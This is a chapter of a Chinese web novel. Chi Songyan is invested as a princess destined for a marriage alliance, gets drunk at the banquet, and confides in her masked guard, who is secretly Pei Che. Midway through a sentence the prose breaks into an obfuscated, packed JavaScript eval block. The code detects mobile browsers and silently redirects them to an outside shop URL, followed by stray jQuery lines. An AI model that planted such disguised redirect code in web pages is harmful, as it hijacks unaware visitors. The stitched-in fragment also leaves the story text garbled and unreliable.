陈设繁华的大殿内乐鼓齐鸣,百官肃立,皇亲贵族聚集观礼,太监面向众人高声宣读册封诏书。
众人目光落在大殿中心的那抹夺目的绛色。
池颂妍一身华服,头戴凤羽金钗,两侧流苏随着她的脚步轻晃动。在殿堂中烛火的映照下,浑身犹如泛着光,她在今日无疑是最闪耀亮眼的人。
一张张熟悉或陌生的脸在她视线中掠过,最后她跪拜在皇帝面前,接过属于公主身份象征的圣旨与玉印。
礼成,大殿内众人齐声祝贺。
册封典礼很快就结束了,池颂妍在玲珑和侍女的搀扶下回到寝宫。池颂妍扭着僵硬的颈部,招手喊人:“快快!把我头上这‘刑器’取下,这重得我还以为我脖子要断了。”
玲珑伸手帮她取下身上的饰品,笑笑:“公主,这可是凤钗啊可不是一般人都能戴上的。”
这几天在宫中配合大大小小的工作,自己又私下锻炼体能,池颂妍感觉整个人都要散架了,无精打采地摆摆手:“我要不行了,晚上的宴会我一定要去吗?”
一位侍女蹲下身帮她揉揉腿:“当然了公主殿下,这可是皇上的赐宴啊。”
“得了吧,那赐宴可不是为我办的。”
“公主,谨言慎行啊!”侍女小声提醒道。
“行了,除了玲珑,你们都下去吧,等宴会要开始了再来。”
“是。”
池颂妍倚靠在床榻上,她命玲珑去将旁边的窗户敞开,从里衣里掏出短哨,吹响。
可这次和以往不同,暗卫没有第一时间就出现,池颂妍皱起眉。
“今天怎么回事,吹哨了十九都不出现,不能是发生什么事了吧?”
玲珑见池颂妍心烦,连忙安抚道:“以十九那身手不会出事的,没准他是临时有些事,晚点就出来了。”
池颂妍点点头,又撑着脑袋叹气:“玲珑啊,我要是被送去和亲了怎么办?”
“和亲?”玲珑面色僵硬,不一会眼眶就红了,“公主你真的会被送去敌国和亲吗?!我前些日子在宫里就老听他们传言,说您册封公主,是因为和亲之事,原来...这传言是真的?”
池颂妍伸手摸摸玲珑的脑袋:“是啊,今日设宴本就是为了迎接曜王朝的使者。要不今日我就让宰相府销了你的奴籍,你带上我前些日子给你的盒子回到江南吧,你没必要和我一起去受苦的。”
玲珑的眼泪大颗大颗地落下,猛地抱住池颂妍的腰身,将脑袋埋进她的肩上:“说什么呢,玲珑自小和您一起长大,早就比家人还亲了,您要是去曜王朝和亲,那玲珑就做您的陪嫁丫鬟,我怎能让您孤单一人去陌生的国度啊!”
池颂妍听着她的哭嚎,不忍轻抚她的后脑,眼里带笑:“好好好,别哭了,哭这么大声外头人都以为是我虐待你了。”
玲珑抱着池颂妍不撒手:“公主放心,我一定会好好保护你的!”
“你这小身板,先保护好自己再说。”池颂妍轻笑出声。
*
觥筹交错的晚会上乐声悠扬,歌女挥动着罗袖脚步轻盈舞姿曼妙。群臣一一向池珩为代表的宰相府道喜,又朝坐在皇家高位的池颂妍敬酒。
而远道而来的使臣正与皇上宰相和大臣们在幕帘下,低声商讨和亲之事,他们像打量商品一样地将目光落在一身罗裙曳地,貌美如画的‘颂安公主’身上。
已身为皇室成员,在这种重要的场合里,池颂妍坐在了五公主边上的空位,与下位世家公子小姐有了地位区分。
池颂妍一想到过几天出嫁和亲路上的日子,今晚便敞开肚子吃了,不然也不知道下一次吃到这些山珍海味是什么时候。
来敬酒的人她也没有拒绝,这一来一回也喝了不少酒。
尚煜然端着酒杯走到她面前,他看着池颂妍酒意上泛,眼尾绯红眼里含着水光,兴致不高的样子,他不由地握紧手上的酒杯:“公主,如果需要的话,我可以说服父亲,我这就向你提亲.....”
池颂妍眼珠转动,目光落在尚煜然的脸上,看了一会才迟钝的认出他是谁,听见他这番话,不禁哑然失笑:“别说笑了尚公子,这样做你只会自毁前途,再者这种程度的婚嫁已经不是我们可以左右的。”
想都不用想,就知道这种事情不可能实现的。
她端起酒杯去碰尚煜然手中的酒杯,发出清脆一响:“公子还不如祝愿我顺利到达曜王朝,夫婿待我好些....”
她仰头一口饮下杯中的酒,看得尚煜然鼻尖莫名发酸,他垂眼将自己的杯中的酒也一口饮尽:“那就祝愿公主,幸福安康。”
池颂妍咧嘴笑着点点头,在尚煜然离开后。
一直没开口的韩卿韵,小心翼翼地开口:“对不起。”
“你道歉什么?”
韩卿韵低着头不敢和她对视:“...原先应该是我去和亲的。”
池颂妍嗤笑出声:“所以呢?是你让我去和亲的,还是你让韩王朝国力衰退到不得不与百年世敌和亲的?要怪也是怪这个破‘命运’.....”
韩卿韵沉默。
“不是你的错就别道歉,听着更让我不舒服了。”池颂妍揉揉眼眶,有些困意泛上,“你有这空想这些,不如想办法自己改变处境吧,池珩那样的狐狸也不是都一直可靠的,比起靠别人还是靠你自己吧。”
不等韩卿韵反应,池颂妍朝后方的玲珑招手:“玲珑你去派人告诉陛下,我不甚酒力,怕再待下去会出岔子,就先告退了。”
玲珑连忙上前扶着池颂妍有些摇晃的身子,令命喊人去转告皇上身边的公公后,才搀扶着池颂妍回寝宫。
玲珑帮她洗漱换衣后,池颂妍嫌她老操心着这操心那的,就让她回去休息了。
皇宫酿的桃花酒尝起来味道甘甜醇厚,没想到后劲十足。让池颂妍醉得头脑发沉,难受的睡不着。
她干脆撑起身子,扶着桌椅踉跄地走到窗边,一把推开木窗。
晚风携带着凉意迎面吹来,她拿起短哨吹起,她等了一会终于又听见了熟悉的声音。
“小姐。”
池颂妍趴在窗台上,半眯着眼睛环顾四周,懒懒地道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16450843|181698||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“人呢,我怎么看不见你。”
一声浅浅的叹气随风传来,一道黑影落在她的身前,宽大的身体挡住了寒风。
裴澈弯腰轻轻将披风盖在她身上,眼神深不见底:
“怎么喝成这样.....”
他收起手,正要起身,可一道阻力让他不得不弯下腰。
池颂妍连带着他帷帽的纱帘和前襟一块抓在手里,她枕着手臂仰脸看向裴澈:“总算出现了啊十九,今天一天都不见你,干嘛去了?”
裴澈低头看着她的手,没辙,顺势蹲下与她平视:“有些要紧事要处理。”
“哦,这样啊。”池颂妍看着面前的黑色纱帘都有些习惯了,手指无意识地勾着他的纱帘,吓得裴澈紧张的僵在原地。
好在池颂妍也没掀开纱帘,而是无聊地握着玩:“陪我聊聊天吧,有些话和玲珑说她又要哭了,但不说出来我又不舒服,思来想去身边能说话的好像只剩你了,虽然以前也有一个,但也不知道他现在在哪.....”
“算了,不聊他了。十九你今天没在,不知道你听说了我要去和亲的事了吗?”池颂妍松开了布料,又无聊地戳戳他的帽檐,可没戳几下,那只作乱的手就被抓住了。
池颂妍迟钝地看着自己被抓住的手,惊讶的睁大了些眼睛:“哦?你今天怎么没戴手套了?你这手怎么有点像.....”
裴澈将池颂妍的手包裹在手心里,用自己的温度为她驱寒,打断了她的话:“来的着急,忘记了。我听说了和亲的事。”
“听说了啊,也是这两天全都是这些内容,怎么会不知道呢?”池颂妍也不知道怎么地,也许是酒喝多了,她莫名觉得这只手很像是裴澈的,就连声音也越听越像了,一时间也就没挣脱开手。
她晃了晃握着自己的手,像是玩闹似的,有一搭没一搭的:“我和你说啊,其实在去和亲的路上我会遭遇劫匪,虽然以我现在的能力应该不会死,但我还是有点害怕,之前都是在‘梦里’看见体验这些剧情,但也不知道真到了那个时候我还能做好吗?”
池颂妍抬眼看向他:“你应该会保护我的吧?不过......在梦里我还从未看见过你,也不知道是我没注意到,还是在你没和‘我’一起去和亲。”
裴澈收紧握住她的手力道,隔着薄薄的黑纱看着她的脸:“我会保护你的,别怕。”
“那就好!谢谢你啊,感觉你的话总有莫名的安全感。”池颂妍用脸颊蹭蹭自己枕着的手臂,喃喃着,“也不知道我会嫁给谁,按照剧情的话,好像是个天生智力有残缺的王爷?不过这样也挺好的,又不会逼迫我做些什么.....”
酒意上头,池颂妍说话都没了逻辑:“.....经历这么多人生了,这还是我第一次结婚,真烦!”
裴澈见她有些睡眼惺忪的,轻轻用手指将她脸颊上的碎发勾到一旁,到了这个时间点,他吃的变声药丸也开始失效了。
熟悉的磁性慵懒的嗓音带着温柔的意味,却暗含着强势的占有欲:
“放心,我不会让你和其他人结婚的。”